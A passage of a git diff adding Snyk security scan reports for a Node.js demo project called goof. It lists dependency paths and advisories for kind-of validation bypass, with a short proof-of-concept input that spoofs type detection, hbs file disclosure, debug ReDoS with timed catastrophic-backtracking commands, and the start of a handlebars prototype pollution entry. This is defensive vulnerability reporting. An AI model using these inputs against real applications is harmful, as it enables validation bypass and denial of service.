  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon-node@2.1.1 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon-node@2.1.1 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon-node@2.1.1 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon-node@2.1.1 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + use@3.1.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon-node@2.1.1 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon-node@2.1.1 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + braces@2.3.2 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + nanomatch@1.2.9 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + to-regex@3.0.2 + + define-property@2.0.2 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-accessor-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + micromatch@3.1.10 + + extglob@2.0.4 + + expand-brackets@2.1.4 + + snapdragon@0.8.2 + + base@0.11.2 + + define-property@1.0.0 + + is-descriptor@1.0.2 + + is-data-descriptor@1.0.0 + + kind-of@6.0.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

kind-of is a package that gets the native type of a value.

+

Affected versions of this package are vulnerable to Validation Bypass. It leverages the built-in constructor of unsafe user-input to detect type information. However, a crafted payload can overwrite this built in attribute to manipulate the type detection result.

+

PoC by Feng Xiao

+
var kindOf = require('kind-of');
+        
+        
+        var user_input = {
+          user: 'barney',
+          age: 36,
+          active: true,
+          "constructor":{"name":"Symbol"}
+        };
+        console.log(kindOf(user_input));
+        
+

Remediation

+

Upgrade kind-of to version 6.0.3 or higher.

+

References

+ + +
+ + + +
+
+

Information Exposure

+
+ +
+ low severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + hbs +
  • + +
  • Introduced through: + + goof@1.0.1 and hbs@4.0.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

hbs is an Express.js template engine plugin for Handlebars

+

Affected versions of this package are vulnerable to Information Exposure. hbs mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options a file disclosure vulnerability may be triggered in downstream applications.

+

Remediation

+

There is no fixed version for hbs.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ low severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + debug +
  • + +
  • Introduced through: + + + goof@1.0.1, express@4.12.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + debug@2.2.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + finalhandler@0.3.6 + + debug@2.2.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + send@0.12.3 + + debug@2.2.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + mquery@1.6.3 + + debug@2.2.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + express@4.12.4 + + serve-static@1.9.3 + + send@0.12.3 + + debug@2.2.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

debug is a JavaScript debugging utility modelled after Node.js core's debugging technique..

+

debug uses printf-style formatting. Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks via the the %o formatter (Pretty-print an Object all on a single line). It used a regular expression (/\s*\n\s*/g) in order to strip whitespaces and replace newlines with spaces, in order to join the data into a single line. This can cause a very low impact of about 2 seconds matching time for data 50k characters long.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade debug to version 2.6.9, 3.1.0 or higher.

+

References

+ + +
+ + + +
+
+
+
+ + + diff --git a/results3.html b/results3.html new file mode 100644 index 0000000000..c6fe01cb2c --- /dev/null +++ b/results3.html @@ -0,0 +1,2189 @@ + + + + + + + + + Snyk test report + + + + + + + + + +
+
+
+
+ + + Snyk - Open Source Security + + + + + + + +
+

Snyk test report

+ +

May 20th 2022, 7:47:01 pm

+
+
+ Scanned the following path: +
    +
  • /Users/opickford/snyk_projects/nodejs-goof (npm)
  • +
+
+ +
+
13 known vulnerabilities
+
26 vulnerable dependency paths
+
565 dependencies
+
+
+
+
+
+ + + + + + + +
Project goof
Path /Users/opickford/snyk_projects/nodejs-goof
Package Manager npm
Manifest package-lock.json
+
+
+
+
+

Prototype Pollution

+
+ +
+ critical severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Prototype Pollution. + It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

+

Details

+

